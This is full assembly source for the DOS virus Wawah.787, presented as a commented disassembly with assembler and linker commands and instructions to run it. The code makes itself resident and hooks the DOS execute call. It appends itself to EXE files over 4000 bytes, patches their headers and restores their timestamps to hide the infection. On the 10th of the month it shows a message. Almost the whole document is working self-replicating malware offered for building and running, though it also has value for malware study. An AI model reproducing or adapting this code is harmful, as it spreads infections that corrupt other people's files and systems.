; This a resident, appending, .EXE infector
; This virus has a bug, I think it can't run on 286+ machines
; It's a harmless virus.
; IF Day = 10 THEN printf("- G 124 HA - Assembled by WaWaH\n")
; Well, thanx 2 Henry Yonathan to allow us publish this virus
; Sorry, some comments r in Indonesian

; TASM /M3 WAWAH787.ASM
; TLINK /X/T WAWAH787
; Run WAWAH787, the virus now TSR, ready to infect

==8<=============================================================>8==
; WAWAH787.ASM
; A disassembly of Wawah.787 virus
; Disassembled using Sourcer v7.0
; Commented by Henry Yonathan and Ding Lik
; (C)Copyright 1999-2000 by HY&DL
; Use TASM 2.0 to assemble this virus

Wawah		segment
		assume cs:Wawah
		org 100h

VirBegin:
		jmp	Start
		nop

		db	10 dup (0)
_SS		dw	0
_SP		dw	-2
_IP		dw	0
_CS		dw	0h
		db	4 dup (0)
Int21Ofs	dw	0, 0
Buffer		db	32 dup (0)
Int24Ofs	dw	0
Int24Seg	dw	0
Int23Ofs	dw	0
Int23Seg	dw	0
Time		dw	0
Date		dw	0


Start:
		push	AX
		push	BX
		push	CX
		push	DX
		push	DS
		push	ES
		pushf
		push	ES
		xor	AX,AX
		mov	DS,AX
		mov	AX,ds:84h		; Get Int 21h's ofs
		cmp	AX,1F0h			; Ofs of the virus?
		je	VirusAktif		; Yap!
		jmp	Install			; Nope!
		nop

VirusAktif:
		jmp	CheckDay
		nop

Install:
		mov	AX,ds:84h		; Save org. ofs. Int 21h
		mov	cs:Int21Ofs,AX
		mov	AX,ds:86h		; Save org. seg. Int 21h
		mov	word ptr cs:Int21Ofs+2,AX
		pop	ES
		push	ES
		mov	AX,ES
		dec	AX
		mov	DS,AX			; DS point to MCB
		mov	BX,2138h
		mov	CL,4
		shr	BX,CL
		sub	ds:3,BX
		mov	AX,ds:3
		add	AX,ds:1
		mov	ds:12h,AX
		inc	AX
		mov	ES,AX
		push	CS
		pop	DS
		mov	DI, 100h
		mov	SI,DI
		mov	CX,313h
		rep	movsw
		xor	AX,AX
		mov	DS,AX
		mov	AX, offset NewInt21
		mov	ds:21h*4,AX
		mov	ds:21h*4+2,ES

CheckDay:
		mov	AH,2Ah
		int	21h			; DOS Services  ah=function 2Ah
						; get date, cx=year, dh=month
						; dl=day, al=day-of-week 0=SUN
		cmp	DL,0Ah
		jne	NotTheDay
		call	Payload

NotTheDay:
		push	CS
		pop	DS
		pop	ES
		mov	BX,ES
		add	_CS,BX
		add	_SS,BX
		mov	AX,_CS
		mov	BX,_IP
		mov	BP,1EFh
		mov	byte ptr ds:[BP],0EAh
		mov	ds:[BP+1],BX
		mov	ds:[BP+3],AX
		; jmp $ + 2	; Remove ';' sign in front of jmp $+2
				; 2 allow bug fix
		popf
		pop	ES
		pop	DS
		pop	DX
		pop	CX
		pop	BX
		pop	AX
		push	AX
		mov	AX,cs:_SS
		mov	SS,AX
		mov	AX,cs:_SP
		mov	SP,AX
		pop	AX
		retf
		
NewInt21:
		cmp	AH,4Bh
		je	CheckIt
		jmp	4 ptr cs:Int21Ofs

CheckIt:
		push	AX
		push	BX
		push	CX
		push	DX
		push	SI
		push	DI
		push	DS
		push	ES
		pushf
		call	SetInt23Int24
		mov	AX,3D02h
		pushf
		call	4 ptr cs:Int21Ofs
		jnc	SuccessOpen
		jmp	loc_16

SuccessOpen:
		mov	BX,AX
		push	CS
		pop	DS
		mov	AX,5700h
		pushf
		call	4 ptr cs:Int21Ofs
		mov	cs:Time,CX
		mov	cs:Date,DX

		mov	AH,3Fh
		mov	CX,20h
		mov	DX,offset Buffer
		pushf
		call	4 ptr cs:Int21Ofs
		jnc	SuccessReadHeader
		jmp	loc_16

SuccessReadHeader:
		mov	SI,DX
		cmp	word ptr [SI], 'ZM'
		je	SurelyEXE
		jmp	loc_16

SurelyEXE:
		push	BX
		mov	BX,SI
		add	BX,10h
		mov	AX,[BX]
		cmp	AX,3E0h		; Is SP = 3E0?
		je	CheckIP
		jmp	SaveHeader
		nop

CheckIP:
		add	BX,4
		mov	AX,[BX]
		cmp	AX,149h		; Is IP = 149?
		jne	SaveHeader
		pop	BX
		jmp	loc_16

SaveHeader:
		mov	AX,[SI+16h]
		add	AX,10h
		mov	_CS,AX		; Save it
		mov	AX,[SI+14h]
		mov	_IP,AX		; Save it
		mov	AX,[SI+0Eh]
		add	AX,10h
		mov	_SS,AX		; Save it
		mov	AX,[SI+10h]
		mov	_SP,AX		; Save it
		pop	BX

		mov	AX,4202h
		xor	CX,CX
		xor	DX,DX
		pushf
		call	4 ptr cs:Int21Ofs
		jnc	CheckMinSize
		jmp	loc_16

CheckMinSize:
		cmp	AX,0FA0h	; Lebih besar dari 4000 bytes?
		jae	CheckRound
		jmp	loc_16

CheckRound:
		test	AL,0Fh		; Kelipatan 16?
		jz	SizeOK
		add	AX,10h
		adc	DX,0
		and	AX,0FFF0h	; Jadikan kelipatan 16!

SizeOK:
		push	AX
		push	DX
		add	AX,100h		; Besar file + 256
		adc	DX,0
		mov	CX,DX
		mov	DX,AX
		mov	AX,4200h
		pushf
		call	4 ptr cs:Int21Ofs
		push	BX

		add	AX,313h
		adc	DX,0
		mov	BX,200h
		div	BX
		or	DX,DX		; Any reminder?
		jz	SetHeader
		inc	AX		; Yes, increase Page

SetHeader:
		mov	SI,offset Buffer
		mov	[SI+2],DX	; PageRem
		mov	[SI+4],AX	; Page
		pop	BX
		pop	DX
		pop	AX
		push	AX
		push	CX
		mov	CX,4

locloop_15:
		shr	DX,1
		rcr	AX,1
		loop	locloop_15

		sub	AX,[SI+8]
		sbb	DX,0
		mov	[SI+16h],AX
		sub	AX,2Eh
		mov	[SI+0Eh],AX
		mov	word ptr [SI+10h],3E0h	; Virus always sets SP to 3E0h
		mov	word ptr [SI+14h],149h	; Virus always sets IP to 149h
		pop	CX
		pop	AX

		mov	AH,40h
		mov	CX,313h
		mov	DX,100h
		pushf
		call	4 ptr cs:Int21Ofs	; Write virus body
		jc	loc_16

		mov	AX,4200h
		xor	CX,CX
		xor	DX,DX
		pushf
		call	4 ptr cs:Int21Ofs	; Start of file
		jc	loc_16

		mov	DX,offset Buffer
		mov	CX,20h
		mov	AH,40h
		pushf
		call	4 ptr cs:Int21Ofs	; Write new header

loc_16:
		mov	CX,cs:Time
		mov	DX,cs:Date
		mov	AX,5701h
		pushf
		call	4 ptr cs:Int21Ofs	; Restore date & time

		mov	AH,3Eh
		pushf
		call	4 ptr cs:Int21Ofs	; Close file

		call	RestInt23Int24
		popf
		pop	ES
		pop	DS
		pop	DI
		pop	SI
		pop	DX
		pop	CX
		pop	BX
		pop	AX
		jmp	4 ptr cs:Int21Ofs


; SetInt23Int24
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SetInt23Int24	proc	near
		push	AX
		push	ES
		push	DS
		cli
		xor	AX,AX
		mov	DS,AX
		les	AX,4 ptr ds:24h*4
		mov	cs:Int24Ofs,AX
		mov	cs:Int24Seg,ES

		les	AX,4 ptr ds:23h*4
		mov	cs:Int23Ofs,AX
		mov	cs:Int23Seg,ES

		mov	2 ptr ds:23h*4, Offset NewInt24+2
		mov	2 ptr ds:23h*4+2,CS

		mov	2 ptr ds:24h*4, Offset NewInt24
		mov	2 ptr ds:24h*4+2,CS
		pop	DS
		pop	ES
		pop	AX
		ret
SetInt23Int24	endp

NewInt24:
		xor	al, al
		iret

; RestInt23Int24
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

RestInt23Int24	proc	near
		push	AX
		push	BX
		push	DS
		cli
		xor	AX,AX
		mov	DS,AX
		mov	AX,cs:Int23Seg
		mov	BX,cs:Int23Ofs
		mov	ds:23h*4,BX
		mov	word ptr ds:23h*4+2,AX
		mov	AX,cs:Int24Seg
		mov	BX,cs:Int24Ofs
		mov	ds:24h*4,BX
		mov	word ptr ds:24h*4+2,AX
		pop	DS
		pop	BX
		pop	AX
		ret
RestInt23Int24	endp


; Payload
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

Payload		proc	near
		push	CS
		pop	DS
		mov	SI,offset PayloadText
loc_17:
		lodsb
		sub	AL,1
		cmp	AL,0
		je	DoneWrite
		mov	BL,2
		mov	AH,0Eh
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		cmp	AL,0
		jne	loc_17

DoneWrite:
		push	CX
		mov	CX,1Eh

MainDelay:
		call	Delay
		loop	MainDelay

		pop	CX
		ret
Payload		endp

PayloadText	db	'.!H!235!IB!.!Bttfncmfe!cz!XbXbI!'
		db	 0Eh, 0Bh, 01h

; Delay
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

Delay		proc	near
		push	CX
		mov	CX,0EA60h

SubDelay:
		loop	SubDelay

		pop	CX
		ret
Delay		endp


Wawah		ends
		end	VirBegin